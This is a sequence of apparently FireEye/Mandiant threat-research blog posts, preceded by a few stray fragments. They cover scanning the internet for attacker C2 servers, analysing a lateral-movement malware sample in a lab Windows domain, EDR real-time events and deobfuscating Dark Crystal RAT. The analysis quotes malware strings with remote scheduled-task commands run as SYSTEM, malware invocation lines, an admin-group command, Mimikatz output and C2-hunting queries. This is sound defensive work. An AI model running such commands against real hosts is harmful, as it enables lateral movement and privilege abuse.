ENGINELOGGERI64.EXE

Tani

PLCENGINEI64.EXE

Tani

SCANdalous! (External Detection Using Network Scan Data and Automation)

Real Quick

In case you’re thrown by that fantastic title, our lawyers made us change the name of this project so we wouldn’t get sued. SCANdalous—a.k.a. Scannah Montana a.k.a. Scanny McScanface a.k.a. “Scan I Kick It? (Yes You Scan)”—had another name before today that, for legal reasons, we’re keeping to ourselves. A special thanks to our legal team who is always looking out for us, this blog post would be a lot less fun without them. Strap in folks.

Introduction

Advanced Practices is known for using primary source data obtained through Mandiant Incident Response, Managed Defense, and product telemetry across thousands of FireEye clients. Regular, first-hand observations of threat actors afford us opportunities to learn intimate details of their modus operandi. While our visibility from organic data is vast, we also derive value from third-party data sources. By looking outwards, we extend our visibility beyond our clients’ environments and shorten the time it takes to detect adversaries in the wild—often before they initiate intrusions against our clients.

In October 2019, Aaron Stephens gave his “Scan’t Touch This” talk at the annual FireEye Cyber Defense Summit (slides available on his Github). He discussed using network scan data for external detection and provided examples of how to profile command and control (C2) servers for various post-exploitation frameworks used by criminal and intelligence organizations alike. However, manual application of those techniques doesn’t scale. It may work if your role focuses on one or two groups, but Advanced Practices’ scope is much broader. We needed a solution that would enable us to track thousands of groups, malware families and profiles. In this blog post we’d like to talk about that journey, highlight some wins, and for the first time publicly, introduce the project behind it all: SCANdalous.

Pre-SCANdalous Case Studies

Prior to any sort of system or automation, our team used traditional profiling methodologies to manually identify servers of interest. The following are some examples. The success we found in these case studies served as the primary motivation for SCANdalous.

APT39 SSH Tunneling

After observing APT39 in a series of intrusions, we determined they frequently created Secure Shell (SSH) tunnels with PuTTY Link to forward Remote Desktop Protocol connections to internal hosts within the target environment. Additionally, they preferred using BitVise SSH servers listening on port 443. Finally, they were using servers hosted by WorldStream B.V.

Independent isolation of any one of these characteristics would produce a lot of unrelated servers; however, the aggregation of characteristics provided a strong signal for newly established infrastructure of interest. We used this established profile and others to illuminate dozens of servers we later attributed to APT39, often before they were used against a target.

APT34 QUADAGENT

In February 2018, an independent researcher shared a sample of what would later be named QUADAGENT. We had not observed it in an intrusion yet; however, by analyzing the characteristics of the C2, we were able to develop a strong profile of the servers to track over time. For example, our team identified the server 185.161.208\.37 and domain rdppath\.com within hours of it being established. A week later, we identified a QUADAGENT dropper with the previously identified C2. Additional examples of QUADAGENT are depicted in Figure 1.


Figure 1: QUADAGENT C2 servers in the Shodan user interface

Five days after the QUADAGENT dropper was identified, Mandiant was engaged by a victim that was targeted via the same C2. This activity was later attributed to APT34. During the investigation, Mandiant uncovered APT34 using RULER.HOMEPAGE. This was the first time our consultants observed the tool and technique used in the wild by a real threat actor. Our team developed a profile of servers hosting HOMEPAGE payloads and began tracking their deployment in the wild. Figure 2 shows a timeline of QUADAGENT C2 servers discovered between February and November of 2018.


Figure 2: Timeline of QUADAGENT C2 servers discovered throughout 2018

APT33 RULER.HOMEPAGE, POSHC2, and POWERTON

A month after that aforementioned intrusion, Managed Defense discovered a threat actor using RULER.HOMEPAGE to download and execute POSHC2. All the RULER.HOMEPAGE servers were previously identified due to our efforts. Our team developed a profile for POSHC2 and began tracking their deployment in the wild. The threat actor pivoted to a novel PowerShell backdoor, POWERTON. Our team repeated our workflow and began illuminating those C2 servers as well. This activity was later attributed to APT33 and was documented in our OVERRULED post.

SCANdalous

Scanner, Better, Faster, Stronger

Our use of scan data was proving wildly successful, and we wanted to use more of it, but we needed to innovate. How could we leverage this dataset and methodology to track not one or two, but dozens of active groups that we observe across our solutions and services? Even if every member of Advanced Practices was dedicated to external detection, we would still not have enough time or resources to keep up with the amount of manual work required. But that’s the key word: Manual. Our workflow consumed hours of individual analyst actions, and we had to change that. This was the beginning of SCANdalous: An automated system for external detection using third-party network scan data.

A couple of nice things about computers: They’re great at multitasking, and they don’t forget. The tasks that were taking us hours to do—if we had time, and if we remembered to do them every day—were now taking SCANdalous minutes if not seconds. This not only afforded us additional time for analysis, it gave us the capability to expand our scope. Now we not only look for specific groups, we also search for common malware, tools and frameworks in general. We deploy weak signals (or broad signatures) for software that isn’t inherently bad, but is often used by threat actors.

Our external detection was further improved by automating additional collection tasks, executed by SCANdalous upon a discovery—we call them follow-on actions. For example, if an interesting open directory is identified, acquire certain files. These actions ensure the team never misses an opportunity during “non-working hours.” If SCANdalous finds something interesting on a weekend or holiday, we know it will perform the time-sensitive tasks against the server and in defense of our clients.

The data we collect not only helps us track things we aren’t seeing at our clients, it allows us to provide timely and historical context to our incident responders and security analysts. Taking observations from Mandiant Incident Response or Managed Defense and distilling them into knowledge we can carry forward has always been our bread and butter. Now, with SCANdalous in the mix, we can project that knowledge out onto the Internet as a whole.

Collection Metrics

Looking back on where we started with our manual efforts, we’re pleased to see how far this project has come, and is perhaps best illustrated by examining the numbers. Today (and as we write these continue to grow), SCANdalous holds over five thousand signatures across multiple sources, covering dozens of named malware families and threat groups. Since its inception, SCANdalous has produced over two million hits. Every single one of those, a piece of contextualized data that helps our team make analytical decisions. Of course, raw volume isn’t everything, so let’s dive a little deeper.

When an analyst discovers that an IP address has been used by an adversary against a named organization, they denote that usage in our knowledge store. While the time at which this observation occurs does not always correlate with when it was used in an intrusion, knowing when we became aware of that use is still valuable. We can cross-reference these times with data from SCANdalous to help us understand the impact of our external detection.

Looking at the IP addresses marked by an analyst as observed at a client in the last year, we find that 21.7% (more than one in five) were also found by SCANdalous. Of that fifth, SCANdalous has an average lead time of 47 days. If we only consider the IP addresses that SCANdalous found first, the average lead time jumps to 106 days. Going even deeper and examining this data month-to-month, we find a steady upward trend in the percentage of IP addresses identified by SCANdalous before being observed at a client (Figure 3).


Figure 3: Percentage of IP addresses found by SCANdalous before being marked as observed at a client by a FireEye analyst

A similar pattern can be seen for SCANdalous’ average lead time over the same data (Figure 4).


Figure 4: Average lead time in days for SCANdalous over the same data shown in Figure 3

As we continue to create signatures and increase our external detection efforts, we can see from these numbers that the effectiveness and value of the resulting data grow as well.

SCANdalous Case Studies

Today in Advanced Practices, SCANdalous is a core element of our external detection work. It has provided us with a new lens through which we can observe threat activity on a scale and scope beyond our organic data, and enriches our workflows in support of Mandiant. Here are a few of our favorite examples:

FIN6

In early 2019, SCANdalous identified a Cobalt Strike C2 server that we were able to associate with FIN6. Four hours later, the server was used to target a Managed Defense client, as discussed in our blog post, Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware.

FIN7

In late 2019, SCANdalous identified a BOOSTWRITE C2 server and automatically acquired keying material that was later used to decrypt files found in a FIN7 intrusion worked by Mandiant consultants, as discussed in our blog post, Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques.

UNC1878 (financially motivated)

Some of you may also remember our recent blog post on UNC1878. It serves as a great case study for how we grow an initial observation into a larger set of data, and then use that knowledge to find more activity across our offerings. Much of the early work that went into tracking that activity (see the section titled “Expansion”) happened via SCANdalous. The quick response from Managed Defense gave us just enough information to build a profile of the C2 and let our automated system take it from there. Over the next couple months, SCANdalous identified numerous servers matching UNC1878’s profile. This allowed us to not only analyze and attribute new network infrastructure, it also helped us observe when and how they were changing their operations over time.

Conclusion

There are hundreds more stories to tell, but the point is the same. When we find value in an analytical workflow, we ask ourselves how we can do it better and faster. The automation we build into our tools allows us to not only accomplish more of the work we were doing manually, it enables us to work on things we never could before. Of course, the conversion doesn’t happen all at once. Like all good things, we made a lot of incremental improvements over time to get where we are today, and we’re still finding ways to make more. Continuing to innovate is how we keep moving forward – as Advanced Practices, as FireEye, and as an industry.

Example Signatures

The following are example Shodan queries; however, any source of scan data can be used.

Used to Identify APT39 C2 Servers

  • product:“bitvise” port:“443” org:“WorldStream B.V.”

Used to Identify QUADAGENT C2 Servers

  • “PHP/7.2.0beta2”

RULER.HOMEPAGE Payloads

  • html:“clsid:0006F063-0000-0000-C000-000000000046”

Configuring a Windows Domain to Dynamically Analyze an Obfuscated Lateral Movement Tool

We recently encountered a large obfuscated malware sample that offered several interesting analysis challenges. It used virtualization that prevented us from producing a fully-deobfuscated memory dump for static analysis. Statically analyzing a large virtualized sample can take anywhere from several days to several weeks. Bypassing this time-consuming step presented an opportunity for collaboration between the FLARE reverse engineering team and the Mandiant consulting team which ultimately saved many hours of difficult reverse engineering.

We suspected the sample to be a lateral movement tool, so we needed an appropriate environment for dynamic analysis. Configuring the environment proved to be essential, and we want to empower other analysts who encounter samples that leverage a domain. Here we will explain the process of setting up a virtualized Windows domain to run the malware, as well as the analysis techniques we used to confirm some of the malware functionality.

Preliminary Analysis

When analyzing a new malware sample, we begin with basic static analysis, where we can often get an idea of what type of sample it is and what it’s capabilities might be. We can use this to inform the subsequent stages of the analysis process and focus on the relevant data. We begin with a Portable Executable analysis tool such as CFF Explorer. In this case, we found that the sample is quite large at 6.64 MB. This usually indicates that the sample includes statically linked libraries such as Boost or OpenSSL, which can make analysis difficult.

Additionally, we noticed that the import table includes eight dynamically linked DLLs with only one imported function each as shown in Figure 1. This is a common technique used by packers and obfuscators to import DLLs that can later be used for runtime linking, without exposing the actual APIs used by the malware.


Figure 1: Suspicious imports

Our strings analysis confirmed our suspicion that the malware would be difficult to analyze statically. Because the file is so large, there were over 75,000 strings to consider. We used StringSifter to rank the strings according to relevance to malware analysis, but we did not identify anything useful. Figure 2 shows the most relevant strings according to StringSifter.


Figure 2: StringSifter output

When we encounter these types of obstacles, we can often turn to dynamic analysis to reveal the malware's behavior. In this case, our basic dynamic analysis provided hope. Upon execution the sample printed a usage statement:

Usage: evil.exe [/P:str] [/S[:str]] [/B:str] [/F:str] [/C] [/L:str] [/H:str] [/T:int] [/E:int] [/R]
   /P:str -- path to payload file.
   /S[:str] -- share for reverse copy.
   /B:str -- path to file to load settings from.
   /F:str -- write log to specified file.
   /C -- write log to console.
   /L:str -- path to file with host list.
   /H:str -- host name to process.
   /T:int -- maximum number of concurrent threads.
   /E:int -- number of seconds to delay before payload deletion (set to 0 to avoid remove).
   /R -- remove payload from hosts (/P and /S will be ignored).
If /S specifed without value, random name will be used.
/L and /H can be combined and specified more than once. At least one must present.
/B will be processed after all other flags and will override any specified values (if any).
All parameters are case sensetive.

Figure 3: Usage statement

We attempted to unpack the sample by suspending the process and dumping the memory. This proved difficult as the malware exited almost instantly and deleted itself. We eventually managed to produce a partially-unpacked memory dump by using the commands in Figure 4.

sleep 2 && evil.exe /P:"C:\Windows\System32\calc.exe" /E:1000 /F:log.txt /H:some_host

Figure 4: Commands executed to run binary

We chose an arbitrary payload file and a large interval for payload deletion. We also provided a log filename and a hostname for payload execution. These parameters were designed to force a slower execution time so we could suspend the process before it terminated.

We used Process Dump to produce a memory snapshot after the two second delay. Unfortunately, virtualization still hindered static analysis and our sample remained mostly obfuscated, but we did manage to extract some strings which provided the breakthrough we needed.

Figure 5 shows some of the interesting strings we encountered that were not present in the original binary.

dumpedswaqp.exe
psxexesvc
schtasks.exe /create /tn "%s" /tr "%s" /s "%s" /sc onstart /ru system /f
schtasks.exe /run /tn "%s" /s "%s"
schtasks.exe /delete /tn "%s" /s "%s" /f
ServicesActive
Payload direct-copied
Payload reverse-copied
Payload removed
Task created
Task executed
Task deleted
SM opened
Service created
Service started
Service stopped
Service removed
Total hosts: %d, Threads: %d
SHARE_%c%c%c%c
Share "%s" created, path "%s"
Share "%s" removed
Error at hooking API "%S"
Dumping first %d bytes:
DllRegisterServer
DllInstall
register
install

Figure 5: Strings output from memory dump

Based on the analysis thus far, we suspected remote system access. However, we were unable to confirm our suspicions without providing an environment for lateral movement. To expedite analysis, we created a virtualized Windows domain.

This requires some configuration, so we have documented the process here to aid others when using this analysis technique.

Building a Test Environment

In the test environment, make sure to have clean Windows 10 and Windows Server 2016 (Desktop Experience) virtual machines installed. We recommend creating two Windows Server 2016 machines so the Domain Controller can be separated from the other test systems.

In VMware Virtual Network Editor on the host system, create a custom network with the following settings:

  • Under VMNet Information, select the “Host-only” radio button.
  • Ensure that “Connect a host virtual adapter” is disabled to prevent connection to the outside world.
  • Ensure that the “Use local DHCP service” option is disabled if static IP addresses will be used.

This is demonstrated in Figure 6.


Figure 6: Virtual network adapter configuration

Then, configure the guests’ network adapters to connect to this network.

  • Configure hostnames and static IP addresses for the virtual machines.
  • Choose the domain controller IP as the default gateway and DNS server for all guests. 

We used the system configurations shown in Figure 7.


Figure 7: Example system configurations

Once everything is configured, begin by installing Active Directory Domain Services and DNS Server roles onto the designated domain controller server. This can be done by selecting the options shown in Figure 8 via the Windows Server Manager application. The default settings can be used throughout the dialog as roles are added.


Figure 8: Roles needed on domain controller

Once the roles are installed, run the promotion operation as demonstrated in Figure 9. The promotion option is accessible through the notifications menu (flag icon) once the Active Directory Domain Services role is added to the server. Add a new forest with a fully qualified root domain name such as testdomain.local. Other options may be left as default. Once the promotion process is complete, reboot the system.


Figure 9: Promoting system to domain controller in Server Manager

Once the domain controller is promoted, create a test user account via Active Directory Users and Computers on the domain controller. An example is shown in Figure 10.


Figure 10: Test user account

Once the test account is created, proceed to join the other systems on the virtual network to the domain. This can be done through Advanced System Settings as shown in Figure 11. Use the test account credentials to join the system to the domain.


Figure 11: Configure the domain name for each guest

Once all systems are joined to the domain, verify that each system can ping the other systems. We recommend disabling the Windows Firewall in the test environment to ensure that each system can access all available services of another system in the test environment.

Give the test account administrative rights on all test systems. This can be done by modifying the local administrator group on each system manually with the command shown in Figure 12 or automated through a Group Policy Object (GPO).

net localgroup administrators sa_jdoe /ADD

Figure 12: Command to add user to local administrators group

Dynamic Analysis on the Domain

At this point, we were ready to begin our dynamic analysis. We prepared our test environment by installing and launching Wireshark and Process Monitor. We took snapshots of all three guests and ran the malware in the context of the test domain account on the client as shown in Figure 13.

evil.exe /P:"C:\Windows\System32\calc.exe" /L:hostnames.txt /F:log.txt /S /C

Figure 13: Command used to run the malware

We populated the hostnames.txt file with the following line-delimited hostnames as demonstrated in Figure 14.

DBPROD.testdomain.local
client.testdomain.local
DC.testdomain.local

Figure 14: File contents of hostnames.txt

Packet Capture Analysis

Upon analyzing the traffic in the packet capture, we identified SMB connections to each system in the host list. Before the SMB handshake completed, Kerberos tickets were requested. A ticket granting ticket (TGT) was requested for the user, and service tickets were requested for each server as seen in Figure 15. To learn more about the Kerberos authentication protocol, please see our recent blog post that introduces the protocol along with a new Mandiant Red Team tool.


Figure 15: Kerberos authentication process

The malware accessed the C$ share over SMB and wrote the file C:\Windows\swaqp.exe. It then used RPC to launch SVCCTL, which is used to register and launch services. SVCCTL created the swaqpd service. The service was used to execute the payload and then was subsequently deleted. Finally, the file was deleted, and no additional activity was observed. The traffic is shown in Figure 16.


Figure 16: Malware behavior observed in packet capture

Our analysis of the malware behavior with Process Monitor confirmed this observation. We then proceeded to run the malware with different command line options and environments. Combined with our static analysis, we were able to determine with confidence the malware capabilities, which include copying a payload to a remote host, installing and running a service, and deleting the evidence afterward.

Conclusion

Static analysis of a large, obfuscated sample can take dozens of hours. Dynamic analysis can provide an alternate solution, but it requires the analyst to predict and simulate a proper execution environment. In this case we were able to combine our basic analysis fundamentals with a virtualized Windows domain to get the job done. We leveraged the diverse skills available to FireEye by combining FLARE reverse engineering expertise with Mandiant consulting and Red Team experience. This combination reduced analysis time to several hours. We supported an active incident response investigation by quickly extracting the necessary indicators from the compromised host. We hope that sharing this experience can assist others in building their own environment for lateral movement analysis.

Using Real-Time Events in Investigations

To understand what a threat actor did on a Windows system, analysts often turn to the tried and true sources of historical endpoint artifacts such as the Master File Table (MFT), registry hives, and Application Compatibility Cache (AppCompat). However, these evidence sources were not designed with detection or incident response in mind; crucial details may be omitted or cleared through anti-forensic methods. By looking at historical evidence alone, an analyst may not see the full story.

Real-time events can be thought of as forensic artifacts specifically designed for detection and incident response, implemented through Enterprise Detection and Response (EDR) solutions or enhanced logging implementations like Sysmon. During active-attacker endpoint investigations, FireEye Mandiant has found real-time events to be useful in filling in the gaps of what an attacker did. These events record different types of system activities such as process execution, file write activity, network connections, and more.

During incident response engagements, Mandiant uses FireEye Endpoint Security to track endpoint system events in real-time. This feature allows investigators to track an attacker on any system by alerting on and reviewing these real-time events. An analyst can use our solution’s built-in Audit Viewer or Redline to review real-time events.

Let’s look at some examples of Windows real-time events available on our solution and how they can be leveraged during an investigation. Let’s assume the account TEST-DOMAIN\BackupAdmin was an inactive Administrator account compromised by an attacker. Please note the examples provided in this post are based on real-time events observed during engagements but have been recreated or altered to preserve client confidentiality.

Process Execution Events

There are many historical process execution artifacts including AppCompat, AmCache, WMI CCM_RecentlyUsedApps, and more. A single artifact rarely covers all the useful details relating to a process's execution, but real-time process execution events change that. Our solution’s real-time process execution events record execution time, full process path, process identification number (PID), parent process path, parent PID, user, command line arguments, and even the process MD5 hash.

Table 1 provides an example of a real-time process execution event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:40:58.235

Sequence Number

2879512

PID

9392

Process Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Parent PID

9103

Parent Process Path

C:\Windows\System32\cmd.exe

EventType

Start

ProcessCmdLine

"C:\Windows\Temp\legitservice.exe"  -b -m

Process MD5 Hash

a823bc31395539816e8e4664e884550f

Table 1: Example real-time process execution event

Based on this real-time process execution event, the process C:\Windows\System32\cmd.exe with PID 9103 executed the file C:\Windows\Temp\legitservice.exe with PID 9392 and the MD5 hash a823bc31395539816e8e4664e884550f. This new process used the command line arguments -b -m under the user context of TEST-DOMAIN\BackupAdmin.

We can compare this real-time event with what an analyst might see in other process execution artifacts. Table 2 provides an example AppCompat entry for the same executed process. Note the recorded timestamp is for the last modified time of the file, not the process start time.

Field

Example

File Last
Modified (UTC)

2020-03-07 23:48:09

File Path

C:\Windows\Temp\legitservice.exe

Executed Flag

TRUE

Table 2: Example AppCompat entry

Table 3 provides an example AmCache entry. Note the last modified time of the registry key can usually be used to determine the process start time and this artifact includes the SHA1 hash of the file.

Field

Example

Registry Key
Last Modified (UTC)

2020-03-10 16:40:58

File Path

C:\Windows\Temp\legitservice.exe

File Sha1 Hash

2b2e04ab822ef34969b7d04642bae47385be425c

Table 3: Example AmCache entry

Table 4 provides an example Windows Event Log process creation event. Note this artifact includes the PID in hexadecimal notation, details about the parent process, and even a field for where the process command line arguments should be. In this example the command line arguments are not present because they are disabled by default and Mandiant rarely sees this policy enabled by clients on investigations.

Field

Example

Write Time (UTC)

2020-03-10 16:40:58

Log

Security

Source

Microsoft Windows security

EID

4688

Message

A new process has been created.

Creator Subject:
      Security ID:             TEST-DOMAIN\BackupAdmin
      Account Name:            BackupAdmin
      Account Domain:          TEST-DOMAIN
      Logon ID:                0x6D6AD

Target Subject:
      Security ID:             NULL SID
      Account Name:            -
      Account Domain:          -
      Logon ID:                0x0

Process Information:
      New Process ID:          0x24b0
      New Process Name:        C:\Windows\Temp\legitservice.exe
      Token Elevation Type:    %%1938
      Mandatory Label:         Mandatory Label\Medium Mandatory Level
      Creator Process ID:      0x238f
      Creator Process Name:    C:\Windows\System32\cmd.exe
      Process Command Line:    

Table 4: Example Windows event log process creation event

If we combine the evidence available in AmCache with a fully detailed Windows Event Log process creation event, we could match the evidence available in the real-time event except for a small difference in file hash types.

File Write Events

An attacker may choose to modify or delete important evidence. If an attacker uses a file shredding tool like Sysinternal’s SDelete, it is unlikely the analyst will recover the original contents of the file. Our solution’s real-time file write events are incredibly useful in situations like this because they record the MD5 hash of the files written and partial contents of the file. File write events also record which process created or modified the file in question.

Table 5 provides an example of a real-time file write event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:42:59.956

Sequence Number

2884312

PID

9392

Process Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Device Path

\Device\HarddiskVolume2

File Path

C:\Windows\Temp\WindowsServiceNT.log

File MD5 Hash

30a82a8a864b6407baf9955822ded8f9

Num Bytes Seen Written

8

Size

658

Writes

4

Event reason

File closed

Closed

TRUE

Base64 Encoded
Data At Lowest Offset

Q3JlYXRpbmcgJ1dpbmRvd3NTZXJ2aWNlTlQubG9nJy
Bsb2dmaWxlIDogT0sNCm1pbWlrYXR6KGNvbW1hbmQ

Text At Lowest Offset

Creating 'WindowsServiceNT.log' logfile : OK....mimikatz(command

Table 5: Example real-time file write event

Based on this real-time file write event, the malicious executable C:\Windows\Temp\legitservice.exe wrote the file C:\Windows\Temp\WindowsServiceNT.log to disk with the MD5 hash 30a82a8a864b6407baf9955822ded8f9. Since the real-time event recorded the beginning of the written file, we can determine the file likely contained Mimikatz credential harvester output which Mandiant has observed commonly starts with OK....mimikatz.

If we investigate a little later, we’ll see a process creation event for C:\Windows\Temp\taskassist.exe with the MD5 file hash 2b5cb081721b8ba454713119be062491 followed by several file write events for this process summarized in Table 6.

Timestamp

File Path

File Size

2020-03-10 16:53:42.351

C:\Windows\Temp\WindowsServiceNT.log

638

2020-03-10 16:53:42.351

C:\Windows\Temp\AAAAAAAAAAAAAAAA.AAA

638

2020-03-10 16:53:42.351

C:\Windows\Temp\BBBBBBBBBBBBBBBB.BBB

638

2020-03-10 16:53:42.351

C:\Windows\Temp\CCCCCCCCCCCCCCCC.CCC

638

 

 

2020-03-10 16:53:42.382

C:\Windows\Temp\XXXXXXXXXXXXXXXX.XXX

638

2020-03-10 16:53:42.382

C:\Windows\Temp\YYYYYYYYYYYYYYYY.YYY

638

2020-03-10 16:53:42.382

C:\Windows\Temp\ZZZZZZZZZZZZZZZZ.ZZZ

638

Table 6: Example timeline of SDelete File write events

Admittedly, this activity may seem strange at a first glance. If we do some research on the its file hash, we’ll see the process is actually SDelete masquerading as C:\Windows\Temp\taskassist.exe. As part of its secure deletion process, SDelete renames the file 26 times in a successive alphabetic manner.

Network Events

Incident responders rarely see evidence of network communication from historical evidence on an endpoint without enhanced logging. Usually, Mandiant relies on NetFlow data, network sensors with full or partial packet capture, or malware analysis to determine the command and control (C2) servers with which a malware sample can communicate. Our solution’s real-time network events record both local and remote network ports, the leveraged protocol, and the relevant process.

Table 7 provides an example of a real-time IPv4 network event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:46:51.690

Sequence Number

2895588

PID

9392

Process + Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Local IP Address

10.0.0.52

Local Port

57472

Remote IP Address

10.0.0.51

Remote Port

443

Protocol

TCP

Table 7: Example real-time network connection event

Based on this real-time IPv4 network event, the malicious executable C:\Windows\Temp\legitservice.exe made an outbound TCP connection to 10.0.0.51:443.

Registry Key Events

By using historical evidence to investigate relevant timeframes and commonly abused registry keys, we can identify malicious or leveraged keys. Real-time registry key events are useful for linking processes to the modified registry keys. They can also show when an attacker deletes or renames a registry key. This is useful to an analyst because the only available timestamp recorded in the registry is the last modified time of a registry key, and this timestamp is updated if a parent key is updated.

Table 8 provides an example of a real-time registry key event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:46:56.409

Sequence Number

2898196

PID

9392

Process + Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Event Type

3

Path

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LegitWindowsService\ImagePath

Key Path

CurrentControlSet\Services\LegitWindowsService

Original Path

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\LegitWindowsService

Value Name

ImagePath

Value Type

REG_EXPAND_SZ

Base64 Encoded
Value

QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABsAG
UAZwBpAHQAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAA==

Text

C:\Windows\Temp\legitservice.exe

Table 8: Example real-time registry key event

For our solution's real-time registry events, we can map the event type to the operation performed using Table 9.

Event Type Value

Operation

1

PreSetValueKey

2

PreDeleteValueKey

3

PostCreateKey, PostCreateKeyEx, PreCreateKeyEx

4

PreDeleteKey

5

PreRenameKey

Table 9: FireEye Endpoint Security real-time registry key event types

Based on this real-time registry key event, the malicious executable C:\Windows\Temp\legitservice.exe created the Windows service LegitWindowsService. If we investigated the surrounding registry keys, we might identify even more information about this malicious service.

Conclusion

The availability of real-time events designed for forensic analysis can fill in gaps that traditional forensic artifacts cannot on their own. Mandiant has seen great value in using real-time events during active-attacker investigations. We have used real-time events to determine the functionality of attacker utilities that were no longer present on disk, to determine users and source network addresses used during malicious remote desktop activity when expected corresponding event logs were missing, and more.

Check out our FireEye Endpoint Security page and Redline page for more information (as well as Redline on the FireEye Market), and take a FireEye Endpoint Security tour today.

Analyzing Dark Crystal RAT, a C# backdoor

The FireEye Mandiant Threat Intelligence Team helps protect our customers by tracking cyber attackers and the malware they use. The FLARE Team helps augment our threat intelligence by reverse engineering malware samples. Recently, FLARE worked on a new C# variant of Dark Crystal RAT (DCRat) that the threat intel team passed to us. We reviewed open source intelligence and prior work, performed sandbox testing, and reverse engineered the Dark Crystal RAT to review its capabilities and communication protocol. Through publishing this blog post we aim to help defenders look for indicators of compromise and other telltale signs of Dark Crystal RAT, and to assist fellow malware researchers new to .NET malware, or who encounter future variants of this sample.

Discovering Dark Crystal RAT

The threat intel team provided FLARE with an EXE sample, believed to contain Dark Crystal RAT, and having the MD5 hash b478d340a787b85e086cc951d0696cb1. Using sandbox testing, we found that this sample produced two executables, and in turn, one of those two executables produced three more. Figure 1 shows the relationships between the malicious executables discovered via sandbox testing.


Figure 1: The first sample we began analyzing ultimately produced five executables.

Armed with the sandbox results, our next step was to perform a triage analysis on each executable. We found that the original sample and mnb.exe were droppers, that dal.exe was a clean-up utility to delete the dropped files, and that daaca.exe and fsdffc.exe were variants of Plurox, a family with existing reporting. Then we moved to analyzing the final dropped sample, which was dfsds.exe. We found brief public reporting by @James_inthe_box on the same sample, identifying it as DCRat and as a RAT and credential stealer. We also found a public sandbox run that included the same sample. Other public reporting described DCRat, but actually analyzed the daaca.exe Plurox component bundled along with DCRat in the initial sample.

Satisfied that dfsds.exe was a RAT lacking detailed public reporting, we decided to perform a deeper analysis.

Analyzing Dark Crystal RAT

Initial Analysis

Shifting aside from our sandbox for a moment, we performed static analysis on dfsds.exe. We chose to begin static analysis using CFF Explorer, a good tool for opening a PE file and breaking down its sections into a form that is easy to view. Having viewed dfsds.exe in CFF Explorer, as shown in Figure 2, the utility showed us that it is a .NET executable. This meant we could take a much different path to analyzing it than we would on a native C or C++ sample. Techniques we might have otherwise used to start narrowing down a native sample’s functionality, such as looking at what DLLs it imports and what functions from those DLLs that it uses, yielded no useful results for this .NET sample. As shown in Figure 3, dfsds.exe imports only the function _CorExeMain from mscoree.dll. We could have opened dfsds.exe in IDA Pro, but IDA Pro is usually not the most effective way of analyzing .NET samples; in fact, the free version of IDA Pro cannot handle .NET Common Language Infrastructure (CLI) intermediate code.


Figure 2: CFF Explorer shows that dfsds.exe is a .NET executable.


Figure 3: The import table for dfsds.exe is not useful as it contains only one function.

Instead of using a disassembler like IDA Pro on dfsds.exe, we used a .NET decompiler. Luckily for the reverse engineer, decompilers operate at a higher level and often produce a close approximation of the original C# code. dnSpy is a great .NET decompiler. dnSpy’s interface displays a hierarchy of the sample’s namespaces and classes in the Assembly Explorer and shows code for the selected class on the right. Upon opening dfsds.exe, dnSpy told us that the sample’s original name at link time was DCRatBuild.exe, and that its entry point is at <PrivateImplementationDetails>{63E52738-38EE-4EC2-999E-1DC99F74E08C}.Main, shown in Figure 4. When we browsed to the Main method using the Assembly Explorer, we found C#-like code representing that method in Figure 5. Wherever dnSpy displays a call to another method in the code, it is possible to click on the target method name to go to it and view its code. By right-clicking on an identifier in the code, and clicking Analyze in the context menu, we caused dnSpy to look for all occurrences where the identifier is used, similar to using cross-references in IDA Pro.


Figure 4: dnSpy can help us locate the sample's entry point


Figure 5: dnSpy decompiles the Main method into C#-like code

We went to the SchemaServerManager.Main method that is called from the entry point method, and observed that it makes many calls to ExporterServerManager.InstantiateIndexer with different integer arguments, as shown in Figure 6. We browsed to the ExporterServerManager.InstantiateIndexer method, and found that it is structured as a giant switch statement with many goto statements and labels; Figure 7 shows an excerpt. This does not look like typical dnSpy output, as dnSpy often reconstructs a close approximation of the original C# code, albeit with the loss of comments and local variable names. This code structure, combined with the fact that the code refers to the CipherMode.CBC constant, led us to believe that ExporterServerManager.InstantiateIndexer may be a decryption or deobfuscation routine. Therefore, dfsds.exe is likely obfuscated. Luckily, .NET developers often use obfuscation tools that are somewhat reversible through automated means.


Figure 6: SchemaServerManager.Main makes many calls to ExporterServerManager.InstantiateIndexer


Figure 7: ExporterServerManager.InstantiateIndexer looks like it may be a deobfuscation routine

Deobfuscation

De4dot is a .NET deobfuscator that knows how to undo many types of obfuscations. Running de4dot -d (for detect) on dfsds.exe (Figure 8) informed us that .NET Reactor was used to obfuscate it.

> de4dot -d dfsds.exe

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected .NET Reactor (C:\...\dfsds.exe)

Figure 8: dfsds.exe is obfuscated with .NET Reactor

After confirming that de4dot can deobfuscate dfsds.exe, we ran it again to deobfuscate the sample into the file dfsds_deob.exe (Figure 9).

> de4dot -f dfsds.exe -o dfsds_deob.exe

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected .NET Reactor (C:\Users\user\Desktop\intelfirst\dfsds.exe)
Cleaning C:\Users\user\Desktop\intelfirst\dfsds.exe
Renaming all obfuscated symbols
Saving C:\Users\user\Desktop\intelfirst\dfsds_deob.exe

Figure 9: de4dot successfully deobfuscates dfsds.exe

